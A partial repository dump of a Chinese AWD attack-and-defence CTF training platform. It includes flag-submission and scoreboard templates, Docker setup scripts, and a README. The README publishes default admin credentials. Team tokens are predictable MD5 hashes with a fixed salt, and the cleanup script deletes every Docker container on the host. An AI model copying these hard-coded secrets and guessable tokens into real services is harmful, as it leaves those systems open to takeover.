%}\n\n"
  },
  {
    "path": "flag_server/webapps/templates/base.html",
    "content": "{% load static %}\n<!DOCTYPE html>\n<html lang=\"ch\">\n<head>\n    {% block head %}\n        <meta charset=\"utf-8\">\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n        <meta name=\"description\" content=\"\">\n        <meta name=\"author\" content=\"\">\n        <!-- Favicon icon -->\n        <link rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"{% static 'images/favicon.png' %}\">\n        <title>{% block title %}{% endblock %}</title>\n        {% block style %}{% endblock %}\n        <style>\n            #main-wrapper {\n                background-image: url('/static/img/{{ backimg }}.jpg');\n                background-position: center ;\n                background-repeat: no-repeat;\n                background-attachment: fixed;\n                background-size: cover;\n                background-color: #CCCCCC;\n                height: {{ height }}vh;\n            }\n\n        </style>\n    {% endblock %}\n</head>\n<body {% block body_class %}class=\"fix-header fix-sidebar\"{% endblock %}>\n{% block body %}\n{% endblock %}\n{% block script %}\n{% endblock %}\n<script src=\"{% static 'js/hullabaloo.min.js' %}\"></script>\n<script>var hulla = new hullabaloo();</script>\n<script>hulla.send(\"{{ message.1 }}\", \"{{ message.0 }}\");</script>\n</body>\n\n</html>\n"
  },
  {
    "path": "flag_server/webapps/templates/index.html",
    "content": "{% extends 'base.html' %}\n{% load static %}\n\n{% block title %}提交flag{% endblock %}\n\n{% block style %}\n \n    <!-- Bootstrap Core CSS -->\n    <link href=\"{% static 'css/bootstrap.min.css' %}\" rel=\"stylesheet\">\n    <!-- Custom CSS -->\n    <link href=\"{% static 'css/helper.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/style.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/semantic.ui.min.css' %}\" rel=\"stylesheet\">\n{% endblock %}\n\n{% block body %}\n    <body class=\"fix-header fix-sidebar\">\n    <!-- Preloader - style you can find in spinners.css -->\n    <div class=\"preloader\">\n        <svg class=\"circular\" viewBox=\"25 25 50 50\">\n            <circle class=\"path\" cx=\"50\" cy=\"50\" r=\"20\" fill=\"none\" stroke-width=\"2\" stroke-miterlimit=\"10\"/>\n        </svg>\n    </div>\n    <!-- Main wrapper  -->\n    <div id=\"main-wrapper\">\n\n        <div class=\"unix-login\">\n            <div class=\"container-fluid\">\n                <div class=\"row justify-content-center\">\n                    <div class=\"col-lg-4\">\n<h1><font face=\"verdana\" color=\"#3CF070\">距离比赛结束还有:</font></h1>\n<style>  \n*{ margin:0; padding:0; list-style:none;}  \nbody{ font-size:18px; text-align:center;}  \n.time{ font-size:50px;color:red;height:30px; padding:0px;}  \n</style>\n<body>  \n    <div class=\"time\">  \n        <span id=\"t_d\">比</span>  \n        <span id=\"t_h\">赛</span>  \n        <span id=\"t_m\">结</span>  \n        <span id=\"t_s\">束</span>  \n    <span id=\"daoqi\"></span>  \n    </div>  \n\n  \n<script>  \n   function GetRTime(){  \n       var EndTime= new Date('{{Year}}/{{month}}/{{day}} {{Hour}}:{{Minute}}:{{Second}}');\n       var NowTime = new Date(); \n       var t =EndTime.getTime() - NowTime.getTime(); \n       var d=Math.floor(t/1000/60/60/24);  \n       var h=Math.floor(t/1000/60/60%24);  \n       var m=Math.floor(t/1000/60%60);  \n       var s=Math.floor(t/1000%60);  \n       if(s>=\"0\" && m>=\"0\" && h>=\"0\" && d>=\"0\"){\n       document.getElementById(\"t_d\").innerHTML = d + \"\";\n       document.getElementById(\"t_h\").innerHTML = h + \":\";  \n       document.getElementById(\"t_m\").innerHTML = m + \":\";  \n       document.getElementById(\"t_s\").innerHTML = s + \"\";  }\n       if(s==\"0\" && m==\"0\" && h==\"0\" && d==\"0\"){ \n       document.getElementById(\"t_d\").innerHTML =  \"\";  \n       document.getElementById(\"t_h\").innerHTML =  \"\";  \n       document.getElementById(\"t_m\").innerHTML =  \"\";  \n       document.getElementById(\"t_s\").innerHTML =  \"\";\n       document.getElementById(\"daoqi\").innerHTML =\"比赛已结束\";//这里设置到期时间后的提醒内容  \n       document.getElementById(\"daoqi\").style.color=\"red\";}  \n}  \n   setInterval(GetRTime,0);  \n</script>\n                        <div class=\"login-content card\" style=\"opacity: .70;\">\n                            <div class=\"login-form\">\n                                <h2 style=\"-ms-text-align-last: center;text-align-last: center;: center;\">提交Flag</h2>\n                                <form class=\"ui form\" method=\"post\">\n                                    <div class=\"field\">\n                                        <label>Flag</label>\n                                        <div class=\"ui input\">\n                                            <input type=\"text\" placeholder=\"Flag\" name=\"flag\" id=\"flag1\">\n                                        </div>\n                                    </div>\n                                    <div class=\"field\">\n                                        <label>选手 token</label>\n                                        <div class=\"ui input\">\n                                            <input type=\"text\" placeholder=\"选手 token\" name=\"token\" id=\"token1\">\n                                        </div>\n                                    </div>\n                                    <button type=\"submit\" class=\"btn btn-primary btn-flat m-b-30 m-t-30\" >提交 \n                                    </button>\n\n                                    <a href=\"{% url 'score' %}\" style=\"margin-left: 78%\" target=\"_blank\">查看总榜</a>\n                                    <div class=\"ui error message\"></div>\n                                </form>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n    </div>\n    <!-- End Wrapper -->\n    <!-- All Jquery -->\n    <script src=\"{% static 'js/jquery.min.js' %}\"></script>\n    <!-- Bootstrap tether Core JavaScript -->\n    <script src=\"{% static 'js/popper.min.js' %}\"></script>\n    <script src=\"{% static 'js/bootstrap.min.js' %}\"></script>\n    <!-- slimscrollbar scrollbar JavaScript -->\n    <script src=\"{% static 'js/jquery.slimscroll.js' %}\"></script>\n    <!--stickey kit -->\n    <script src=\"{% static 'js/sticky-kit.min.js' %}\"></script>\n    <!--Custom JavaScript -->\n    <script src=\"{% static 'js/custom.min.js' %}\"></script>\n    <script src=\"{% static 'js/semantic.ui.min.js' %}\"></script>\n    <script>\n        $('.ui.form')\n            .form({\n                on: 'blur',\n                fields: {\n                    flag: {\n                        identifier: 'flag1',\n                        rules: [\n                            {\n                                type: 'minLength[6]',\n                                prompt: 'Flag长度至少为6'\n                            },\n                        ]\n                    },\n                    token: {\n                        identifier: 'token1',\n                        rules: [\n                            {\n                                type: 'minLength[6]',\n                                prompt: 'token长度至少为6'\n                            },\n                        ]\n                    },\n                }\n            })\n        ;\n    </script>\n    </body>\n{% endblock %}\n\n"
  },
  {
    "path": "flag_server/webapps/templates/login.html",
    "content": "{% extends 'base.html' %}\n{% load static %}\n\n{% block title %}登录{% endblock %}\n\n{% block style %}\n\n    <!-- Bootstrap Core CSS -->\n    <link href=\"{% static 'css/bootstrap.min.css' %}\" rel=\"stylesheet\">\n    <!-- Custom CSS -->\n    <link href=\"{% static 'css/helper.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/style.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/semantic.ui.min.css' %}\" rel=\"stylesheet\">\n{% endblock %}\n\n{% block body %}\n    <body class=\"fix-header fix-sidebar\">\n    <!-- Preloader - style you can find in spinners.css -->\n    <div class=\"preloader\">\n        <svg class=\"circular\" viewBox=\"25 25 50 50\">\n            <circle class=\"path\" cx=\"50\" cy=\"50\" r=\"20\" fill=\"none\" stroke-width=\"2\" stroke-miterlimit=\"10\"/>\n        </svg>\n    </div>\n    <!-- Main wrapper  -->\n    <div id=\"main-wrapper\">\n\n        <div class=\"unix-login\">\n            <div class=\"container-fluid\">\n                <div class=\"row justify-content-center\">\n                    <div class=\"col-lg-4\">\n                        <div class=\"login-content card\" style=\"opacity: .70;\">\n                            <div class=\"login-form\">\n                                <h2 style=\"-ms-text-align-last: center;text-align-last: center;: center;\">登录</h2>\n                                <form class=\"ui form\" method=\"post\">\n                                    <div class=\"field\">\n                                        <label>用户名</label>\n                                        <div class=\"ui input\">\n                                            <input type=\"text\" placeholder=\"moxiaoxi\" name=\"username\">\n                                        </div>\n                                    </div>\n                                    <div class=\"field\">\n                                        <label>密码</label>\n                                        <div class=\"ui input\">\n                                            <input type=\"text\" placeholder=\"******\" name=\"password\" >\n                                        </div>\n                                    </div>\n                                    <button type=\"submit\" class=\"btn btn-primary btn-flat m-b-30 m-t-30\" >提交\n                                    </button>\n                                    <div class=\"ui error message\"></div>\n                                </form>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n    </div>\n    <!-- End Wrapper -->\n    <!-- All Jquery -->\n    <script src=\"{% static 'js/jquery.min.js' %}\"></script>\n    <!-- Bootstrap tether Core JavaScript -->\n    <script src=\"{% static 'js/popper.min.js' %}\"></script>\n    <script src=\"{% static 'js/bootstrap.min.js' %}\"></script>\n    <!-- slimscrollbar scrollbar JavaScript -->\n    <script src=\"{% static 'js/jquery.slimscroll.js' %}\"></script>\n    <!--stickey kit -->\n    <script src=\"{% static 'js/sticky-kit.min.js' %}\"></script>\n    <!--Custom JavaScript -->\n    <script src=\"{% static 'js/custom.min.js' %}\"></script>\n    <script src=\"{% static 'js/semantic.ui.min.js' %}\"></script>\n    </body>\n{% endblock %}\n\n"
  },
  {
    "path": "flag_server/webapps/templates/table.html",
    "content": "{% extends 'base.html' %}\n{% load static %}\n\n{% block title %}排行榜{% endblock %}\n\n{% block style %}\n    <!-- Bootstrap Core CSS -->\n    <link href=\"{% static 'css/bootstrap.min.css' %}\" rel=\"stylesheet\">\n    <!-- Custom CSS -->\n    <link href=\"{% static 'css/helper.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/style.css' %}\" rel=\"stylesheet\">\n    <link href=\"{% static 'css/semantic.ui.min.css' %}\" rel=\"stylesheet\">\n    <style rel=\"stylesheet\">\n        .ui.compact.table td {\n            font-size: 1em;\n            padding-top: 0.1em;\n            padding-bottom: 0.1em;\n            color: #000;\n        }\n    </style>\n{% endblock %}\n\n{% block body %}\n    <body class=\"fix-header fix-sidebar\">\n    <!-- Preloader - style you can find in spinners.css -->\n    <div class=\"preloader\">\n        <svg class=\"circular\" viewBox=\"25 25 50 50\">\n            <circle class=\"path\" cx=\"50\" cy=\"50\" r=\"20\" fill=\"none\" stroke-width=\"2\" stroke-miterlimit=\"10\"/>\n        </svg>\n    </div>\n    <!-- Main wrapper  -->\n    <div id=\"main-wrapper\">\n\n        <div class=\"unix-login\">\n            <div class=\"container-fluid\">\n                <div class=\"row justify-content-center\">\n                    <div class=\"col-lg-8\">\n<h1><font face=\"verdana\" color=\"#3CF070\">距离比赛结束还有:</font></h1>\n<style>  \n*{ margin:0; padding:0; list-style:none;}  \nbody{ font-size:18px; text-align:center;}  \n.time{ font-size:50px;color:red;height:30px; padding:0px;} \ntable tbody {\n        display: block;\n        height: 270px;\n        overflow-y: scroll;\n             }            \ntable thead,\ntbody tr {\n        display: table;\n        width: 100%;\n        table-layout: fixed;\n            }\n/*关键设置：滚动条默认宽度是16px 将thead的宽度减16px*/\ntable thead {\n        width: calc( 100% - 1em)\n             }\n</style>\n<body>  \n    <div class=\"time\">  \n        <span id=\"t_d\">比</span>  \n        <span id=\"t_h\">赛</span>  \n        <span id=\"t_m\">结</span>  \n        <span id=\"t_s\">束</span>  \n    <span id=\"daoqi\"></span>  \n    </div>  \n  \n  \n  \n<script>  \n   function GetRTime(){  \n       var EndTime= new Date('{{Year}}/{{month}}/{{day}} {{Hour}}:{{Minute}}:{{Second}}');\n       var NowTime = new Date(); \n       var t =EndTime.getTime() - NowTime.getTime(); \n       var d=Math.floor(t/1000/60/60/24);  \n       var h=Math.floor(t/1000/60/60%24);  \n       var m=Math.floor(t/1000/60%60);  \n       var s=Math.floor(t/1000%60);  \n       if(s>=\"0\" && m>=\"0\" && h>=\"0\" && d>=\"0\"){\n       document.getElementById(\"t_d\").innerHTML = d + \"\";  \n       document.getElementById(\"t_h\").innerHTML = h + \":\";  \n       document.getElementById(\"t_m\").innerHTML = m + \":\";  \n       document.getElementById(\"t_s\").innerHTML = s + \"\";  }\n       if(s==\"0\" && m==\"0\" && h==\"0\" && d==\"0\"){ \n       document.getElementById(\"t_d\").innerHTML =  \"\";  \n       document.getElementById(\"t_h\").innerHTML =  \"\";  \n       document.getElementById(\"t_m\").innerHTML =  \"\";  \n       document.getElementById(\"t_s\").innerHTML =  \"\";\n       document.getElementById(\"daoqi\").innerHTML =\"比赛已结束\";//这里设置到期时间后的提醒内容  \n       document.getElementById(\"daoqi\").style.color=\"red\";}  \n}  \n   setInterval(GetRTime,0);  \n</script>\n                        <div class=\"card\" style=\"margin-top: 10px;opacity: .80;\">\n                            <table class=\"ui red compact table\">得分情况\n                                <thead>\n                                <tr>\n                                    <th>队伍排名</th>\n                                    <th>队伍名称</th>\n                                    <th>队伍得分</th>\n                                    <th>靶机状态</th>\n                                </tr>\n                                </thead>\n                                <tbody id=\"tab1\">\n                                <tr>\n                                    <td>蘋果</td>\n                                    <td>200</td>\n                                    <td>0 克</td>\n                                </tr>\n                                <tr>\n                                    <td>Orange</td>\n                                    <td>310</td>\n                                    <td>0 克</td>\n                                </tr>\n                                </tbody>\n                            </table>\n                        </div>\n                        <div class=\"card\" style=\"margin-top: 10px;opacity: .80;\">\n                            <table class=\"ui teal compact table\">状态日志\n                                <thead>\n                                <tr>\n                                    <th>轮次</th>\n                                    <th>攻击队伍</th>\n                                    <th>被攻击队伍</th>\n                                    <th>攻击时间</th>\n                                    <th>分数变化</th>\n                                    <th>信息</th>\n                                </tr>\n                                </thead>\n                                <tbody id=\"tab2\">\n                                <tr>\n                                    <td>蘋果</td>\n                                    <td>200</td>\n                                    <td>0 克</td>\n                                    <td>0 克</td>\n                                    <td>0 克</td>\n                                </tr>\n                                <tr>\n                                    <td>Orange</td>\n                                    <td>310</td>\n                                    <td>0 克</td>\n                                    <td>0 克</td>\n                                    <td>0 克</td>\n                                </tr>\n                                </tbody>\n                            </table>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n    </div>\n    <!-- End Wrapper -->\n    <!-- All Jquery -->\n    <script src=\"{% static 'js/jquery.min.js' %}\"></script>\n    <!-- Bootstrap tether Core JavaScript -->\n    <script src=\"{% static 'js/popper.min.js' %}\"></script>\n    <script src=\"{% static 'js/bootstrap.min.js' %}\"></script>\n    <!-- slimscrollbar scrollbar JavaScript -->\n    <script src=\"{% static 'js/jquery.slimscroll.js' %}\"></script>\n    <!--stickey kit -->\n    <script src=\"{% static 'js/sticky-kit.min.js' %}\"></script>\n    <!--Custom JavaScript -->\n    <script src=\"{% static 'js/custom.min.js' %}\"></script>\n    <script src=\"{% static 'js/semantic.ui.min.js' %}\"></script>\n    </body>\n    <script>\n        function reload(url, tableid) {\n            h1 = $.ajax({url: url, async: false}).responseText;\n            $('#'+tableid).html(h1);\n            console.log(h1);\n        }\n\n\n        $(document).ready(function () {\n            reload('/user_api1/','tab1');\n            reload('/user_api2/','tab2');\n            setInterval(\"reload('/user_api1/','tab1')\", 5000);\n            setInterval(\"reload('/user_api2/','tab2')\", 5000);\n            //setTimeout(function(){AutoReload();}, 1000);\n        });\n    </script>\n{% endblock %}\n\n"
  },
  {
    "path": "host.list",
    "content": "{\n\"user01\": \"172.17.0.2\",\n}"
  },
  {
    "path": "pass.txt",
    "content": "team01\tctf:d3f0cf\tssh:2201\tport:8801\n"
  },
  {
    "path": "pre.py",
    "content": "# coding:utf-8\nimport os\nimport sys\nimport time\nimport hashlib\nimport random\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\n\n\ndef copy_dir(src, dest):\n    os.system('mkdir -m 777 -p %s' % (dest))\n    os.system('cp -r %s/* %s' % (src, dest))\n    os.system('cp flag.py %s' % dest)\n\n\ndef read_data(path):\n    with open(path, 'r') as f:\n        data = f.read().strip()\n    return data\n\n\ndef write_data(path, data=''):\n    with open(path, 'w') as f:\n        f.write(data)\n    return True\n\n\ndef get_docker_sh(num):\n    out_port = str(8800 + num)\n    ssh_port = str(2200 + num)\n    team_name = 'team' + str(num).zfill(2)\n    data = read_data(team_name + '/docker.sh')\n    data = data.replace(\"{out_port}\", out_port).replace(\"{ssh_port}\", ssh_port).replace(\"{team_name}\",\n                                                                                                team_name)\n    write_data(team_name + '/docker.sh', data)\n\n    try:\n        data = read_data(team_name + '/reset_docker.sh')\n        data = data.replace(\"{out_port}\", out_port).replace(\"{ssh_port}\", ssh_port).replace(\"{team_name}\",\n                                                                                                    team_name)\n        write_data(team_name + '/reset_docker.sh', data)\n    except Exception as e:\n        print('[-] no reset docker')\n    return True\n\n\ndef set_checker(dir):\n    if os.path.exists('{}/{}/checker.py'.format(BASE_DIR, dir)):\n        os.system(\n            'cp {}/{}/checker.py {}/check_server/webapps/check_scripts/checker.py'.format(BASE_DIR, dir, BASE_DIR))\n    else:\n        os.system(\n            'cp {}/check_server/webapps/check_scripts/check_example.py {}/check_server/webapps/check_scripts/checker.py'.format(\n                BASE_DIR, BASE_DIR))\n\n\ndef generate_pass(teamno):\n    salt = 'moxiaoxi123456789'\n    passwd = hashlib.md5(salt + str(time.time()) + str(teamno)).hexdigest()[:6]\n    return passwd\n\n\ndef generate_key():\n    salt = 'moxiaoxi123456789'\n    passwd = hashlib.md5(salt + str(time.time()) + str(random.random())).hexdigest()\n    return passwd\n\n\ndef update_run_sh(num, password):\n    team_name = 'team' + str(num).zfill(2)\n    data = read_data(team_name + '/run.sh')\n    data = data.replace(\"moxiaoxi666\", password)\n    write_data(team_name + '/run.sh', data)\n    return\n\n\ndef update_flag_key(team_name, flag_key):\n    data = read_data(team_name + '/flag.py')\n    data = data.replace(\"you_should_not_guess_the_key\", flag_key)\n    write_data(team_name + '/flag.py', data)\n    return\n\n\ndef check_end_time(end_time):\n    tmp = end_time.split(', ')\n    for i in range(len(tmp)):\n        tmp[i] = str(int(tmp[i]))\n    return ', '.join(tmp)\n\n\ndef update_flag_server_config(secret_key, user_count, hold_hour=24, round_time=5, flag_score=100, fraction=10000):\n    t = time.time() + int(hold_hour) * 60 * 60\n    end_time = time.strftime(\"%Y, %m, %d, %H, %M, %S\", time.localtime(t))\n    end_time = check_end_time(end_time)\n    data = \"\"\"#coding:utf-8\nimport hashlib\n\nsecret_key = '{}'\nflag_score = {} # 一个flag的分数\nYear, month, day, Hour, Minute, Second = {}  # 在此设置比赛结束的时间 年月日时分秒\nround_time = {}  # 一轮五分钟\nuser_count = {} # 用户数量\nround_index = 1 # 第一轮\nrun = 1\nfraction = {} #初始分数\nstatus = []\nscore = []\nfor i in range(1, user_count + 1):\n    user_name = 'user' + str(i).zfill(2)\n    token = hashlib.md5((user_name +'moxiaoxi7777').encode('utf-8')).hexdigest()\n    status.append([user_name, run,round_index])\n    score.append([user_name, fraction, token])\"\"\".format(secret_key, flag_score, end_time, round_time, user_count,\n                                                         fraction)\n    write_data('flag_server/webapps/app/config.py', data)\n    return\n\n\ndef update_check_server_config(user_count, secret_key, flag_key, check_port):\n    lib = \"{\\n\"\n    for i in range(1, user_count + 1):\n        user_name = \"user\" + str(i).zfill(2)\n        lib += \"\"\"\"{}\": \"172.17.0.{}\",\\n\"\"\".format(user_name, i + 1)\n    lib += \"}\"\n    flag_server = \"172.17.0.{}\".format(user_count + 2)\n    data = \"\"\"# coding:utf-8\nimport hashlib\n\nround_index = 1  # 轮次\nflag_server = 'http://{}:8000/adm1n_ap1'\nuser_count = {}  # 数量\nround_time = 5 * 60\nsecret_key = '{}'\nflag_key = '{}'\nlib = {}\ncheck_port = {}\n\"\"\".format(flag_server, user_count, secret_key, flag_key, lib, check_port)\n    write_data(\"host.list\", lib)\n    write_data(\"check_server/webapps/config.py\", data)\n    return\n\n\ndef get_check_port(dir):\n    data = read_data(BASE_DIR + '/' + dir + '/docker.sh')\n    check_port = data.split('{out_port}:')[1].split(' ')[0]\n    return int(check_port)\n\n\ndef main():\n    dir = sys.argv[1]\n    team_number = int(sys.argv[2])\n    hold_hour = 24  # 比赛持续时间\n    fraction = 10000  # 初始分数\n    flag_score = 100  # flag 分数\n    round_time = 5  # 一轮五分钟\n    passwords = \"\"\n    flag_key = generate_key()\n    secret_key = generate_key()\n    check_port = get_check_port(dir)\n    for i in range(1, team_number + 1):\n        team_name = 'team' + str(i).zfill(2)\n        print(\"[+] Copy DATA ! {}\".format(team_name))\n        copy_dir(dir + '/', team_name)\n        print(\"[+] get_docker_sh ! {}\".format(team_name))\n        get_docker_sh(i)\n        print(\"[+] get pass!  {}\".format(team_name))\n        password = generate_pass(i)\n        passwords += \"{}\\tctf:{}\\tssh:{}\\tport:{}\\n\".format(team_name, password, 2200 + i, 8800 + i)\n        update_run_sh(i, password)\n        print(\"[+] update run sh!  {}\".format(team_name))\n        update_flag_key(team_name, flag_key)\n        print(\"[+] update flag key!  {}\".format(team_name))\n    update_flag_server_config(secret_key, team_number, hold_hour=hold_hour, round_time=round_time,\n                              flag_score=flag_score, fraction=fraction)\n    print(\"[+] update flag server config! \")\n    update_check_server_config(team_number, secret_key, flag_key, check_port)\n    print(\"[+] update check server config! \")\n    write_data('pass.txt', passwords)\n    set_checker(dir)\n    print(\"[+] set checker successfully!\")\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "readme.md",
    "content": "# CTF-AWD 训练平台\n\n[TOC]\n\n## 项目简介\n\n一个简单的CTF-AWD平台，用于内部小型CTF对抗训练以及培训使用。\n\n![1](img/1.png)\n\n![2](img/2.png)\n\n\n\n![](img/3.png)\n\n## 特点\n\n- docker化，简易部署\n- 可部署在公网上，远程AWD攻防\n- 训练环境可自定义扩展\n\n\n\n## 基本使用方式\n\n### pre.py\n\n```bash\npython pre.py web_chinaz 10\n```\n\nweb_chinaz 为应用文件名称，10表示要生成的队伍数量\n\n\n\n### start.py\n\n```bash\npython start.py 10 \n```\n\n启动10个实例，以及check和flag服务。\n\n\n\n### stop_clean.py\n\n```bash\npython stop_clean.py\n```\n\n暂停所有服务，并删除临时文件\n\n>  注意，这里会删除所有现运行的容器，请谨慎使用。\n\n\n\n### pass.txt\n\n存储队伍用户名密码，以及ssh、web端口\n\n```bash\nteam01\tctf:308d66\tssh:2201\tport:8801\nteam02\tctf:024b1d\tssh:2202\tport:8802\nteam03\tctf:d5cbcc\tssh:2203\tport:8803\nteam04\tctf:e29190\tssh:2204\tport:8804\n```\n\n\n\n### Host.list\n\n用户以及内网ip的对应关系\n\n\n\n### Write_ups\n\n包含各类环境的WP\n\n\n\n### Web_xxx\n\n预置四个Web环境（web_chinaz,web_simplecms,web_gotsctf2018,web_javatsctf2018)。\n\nxxx代表环境名称。\n\n如果为二进制，预期名称为Bin_xxx.\n\n\n\n## 平台信息\n\n1. 首页\n\n   http://localhost:9090/\n\n2. 查看总榜\n\n   http://localhost:9090/score/\n\n3. 管理员登陆页面：\n\n   http://localhost:9090/accounts/login/?next=/admin/\n\n   账户：moxiaoxi\n\n   密码：moxiaoxi123456\n\n   管理界面：\n\n   http://localhost:9090/admin/\n\n   可以用于手动修正靶机状态\n\n4. 管理员排行榜信息\n\n   http://localhost:9090/admin/table/\n\n   得到细化状态日志并得到**队伍token**\n\n   **实时flag**也可以通过管理员界面查看\n\n   此外，check信息也可以通过状态日志查看。\n\n5. 提交flag\n\n   1. 直接在首页提交\n\n   2. curl提交\n\n      ```bash\n      curl http://localhost:9090 -d \"flag=85e630d8bb65e4cda2bd69185363af54&token=97e361a1df6b0cd7bfda8c1f7be7bdb3\"\n      ```\n\n   提交状态如下：\n\n   ```js\n   <script>hulla.send(\"flag提交成功！\", \"success\");</script>\n   <script>hulla.send(\"flag已提交\", \"warning\");</script>\n   <script>hulla.send(\"flag已过期\", \"warning\");</script>\n   <script>hulla.send(\"token错误\", \"warning\");</script>\n   <script>hulla.send(\"flag错误\", \"warning\");</script>\n   ```\n\n\n## 如何向此平台提供攻防环境\n\n> 本项目提供相关示例，方便提供攻防环境.\n\n### [web_example1](https://github.com/m0xiaoxi/AWD_CTF_Platform/tree/master/web_example1)\n\nWeb 简单部署版，只需要对外开启80以及22端口的，可以采用我推送的moxiaoxi/example为基础模块，进行后续开发。\n\n```bash\n.\n├── checker.py check脚本\n├── html Web代码\n├── docker.sh 运行docker脚本\n├── run.sh 基本运行脚本\n└── tmp 临时文件夹\n```\n\n开发过程如下：\n\n1. 将web环境代码拷贝至html目录\n2. 自定义配置run.sh文件，比如配置数据库，多用户等等自定义配置\n3. 为环境撰写checker.py，用于检测服务是否挂了。如果没有checker文件，将默认启动check_example.此时，check将不会生效，只会动态更新flag。\n\n### [web_example2](https://github.com/m0xiaoxi/AWD_CTF_Platform/tree/master/web_example2)\n\nWeb自定义部署版，该版本实际为web_example的更高级自定义版本，主要用于支持某些环境可能依赖环境比较复杂，或许需要开启较多端口依赖，可在此处进行配置。\n\n```bash\n.\n├── Dockerfile\n├── apache2.conf\n├── build_images.sh\n├── checker.py\n├── docker.sh\n├── html\n│   └── index.php\n├── reset_docker.sh\n├── run.sh\n└── tmp\n\n```\n\n该版本，我们可以通过定制化Dockerfile进行更高级的定制化。如果需要多开端口，需要增加配置`-p {other_port1}:8088`，具体参考[web_gotsctf2018](https://github.com/m0xiaoxi/AWD_CTF_Platform/blob/master/web_gotsctf2018/docker.sh)环境。\n\n1. 配置Dockerfile，docker.sh，并通过build_images.sh建立基础镜像。**（注：本步骤为必须操作）**\n2. 将web环境代码拷贝至html目录\n3. 自定义配置run.sh文件，比如配置数据库，多用户等等自定义配置\n4. 为环境撰写checker.py，用于检测服务是否挂了。如果没有checker文件，将默认启动check_example.此时，check将不会生效，只会动态更新flag。\n5. reset_docker.sh,主要用于重启单个容器（可忽略，不影响基础功能）。\n\n### [Bin_example]()\n\n先参考bin_pwn吧，有空写：）\n\n\n\n## 致谢\n\n- [Zhl20018#awd-platform](https://github.com/zhl2008/awd-platform)\n- [Henryzhao#gotsctf2018](https://github.com/Henryzhao96)\n- [Wulasite#javatsctf2018](https://github.com/wulasite)\n- [HECTF#awd_platform](https://github.com/HECTF/awd_platform)\n- [ishandsomedog#bin_pwn1](https://github.com/ishandsomedog)\n\n# License\n\nThe AWD_CTF_Platform is released under the [GPLv3](https://github.com/m0xiaoxi/AWD_CTF_Platform/blob/master/LICENSE)"
  },
  {
    "path": "start.py",
    "content": "#!/usr/bin/env python\n\nimport sys\nimport os\n\nteamno = int(sys.argv[1])\n\n\ndef start_flag():\n    os.system('cd flag_server && sh docker.sh')\n    print('[*] start docker flag_server')\n\n\ndef gen_host_lists():\n    res = ''\n    for i in range(teamno):\n        res += \"team%d:172.17.0.%d\\n\" % (i + 1, i + 2)\n    open('check_server/host.lists', 'w').write(res)\n\n\ndef start_check():\n    gen_host_lists()\n    os.system('cd check_server && sh docker.sh')\n    print('[*] start docker check_server')\n\n\ndef start_team(teamno):\n    team_dir = 'team' + str(teamno).zfill(2)\n    os.system('cd %s && sh docker.sh' % (team_dir))\n    print('[*] start docker %s' % team_dir)\n\n\nif __name__ == '__main__':\n    for i in range(1, teamno + 1):\n        start_team(i)\n    start_flag()\n    start_check()\n"
  },
  {
    "path": "stop_clean.py",
    "content": "#!/usr/bin/env python\n\n\nimport os\n\n\nos.system(\"docker ps | awk '{print $1}' | xargs docker stop \")\nos.system(\"docker ps -a |awk '{print $1}' | xargs docker rm\")\nos.system('rm -rf team*')\n"
  },
  {
    "path": "web_chinaz/Dockerfile",
    "content": "FROM nickistre/ubuntu-lamp\nRUN apt-get update && apt-get dist-upgrade -y\nADD apache2.conf /etc/apache2/apache2.conf\nEXPOSE 80\nEXPOSE 22\nCMD [\"/tmp/run.sh\"]"
  },
  {
    "path": "web_chinaz/apache2.conf",
    "content": "# This is the main Apache server configuration file.  It contains the\n# configuration directives that give the server its instructions.\n# See http://httpd.apache.org/docs/2.4/ for detailed information about\n# the directives and /usr/share/doc/apache2/README.Debian about Debian specific\n# hints.\n#\n#\n# Summary of how the Apache 2 configuration works in Debian:\n# The Apache 2 web server configuration in Debian is quite different to\n# upstream's suggested way to configure the web server. This is because Debian's\n# default Apache2 installation attempts to make adding and removing modules,\n# virtual hosts, and extra configuration directives as flexible as possible, in\n# order to make automating the changes and administering the server as easy as\n# possible.\n\n# It is split into several files forming the configuration hierarchy outlined\n# below, all located in the /etc/apache2/ directory:\n#\n#\t/etc/apache2/\n#\t|-- apache2.conf\n#\t|\t`--  ports.conf\n#\t|-- mods-enabled\n#\t|\t|-- *.load\n#\t|\t`-- *.conf\n#\t|-- conf-enabled\n#\t|\t`-- *.conf\n# \t`-- sites-enabled\n#\t \t`-- *.conf\n#\n#\n# * apache2.conf is the main configuration file (this file). It puts the pieces\n#   together by including all remaining configuration files when starting up the\n#   web server.\n#\n# * ports.conf is always included from the main configuration file. It is\n#   supposed to determine listening ports for incoming connections which can be\n#   customized anytime.\n#\n# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/\n#   directories contain particular configuration snippets which manage modules,\n#   global configuration fragments, or virtual host configurations,\n#   respectively.\n#\n#   They are activated by symlinking available configuration files from their\n#   respective *-available/ counterparts. These should be managed by using our\n#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See\n#   their respective man pages for detailed information.\n#\n# * The binary is called apache2. Due to the use of environment variables, in\n#   the default configuration, apache2 needs to be started/stopped with\n#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not\n#   work with the default configuration.\n\n\n# Global configuration\n#\n\n#\n# ServerRoot: The top of the directory tree under which the server's\n# configuration, error, and log files are kept.\n#\n# NOTE!  If you intend to place this on an NFS (or otherwise network)\n# mounted filesystem then please read the Mutex documentation (available\n# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);\n# you will save yourself a lot of trouble.\n#\n# Do NOT add a slash at the end of the directory path.\n#\n#ServerRoot \"/etc/apache2\"\n\n#\n# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.\n#\nMutex file:${APACHE_LOCK_DIR} default\n\n#\n# PidFile: The file in 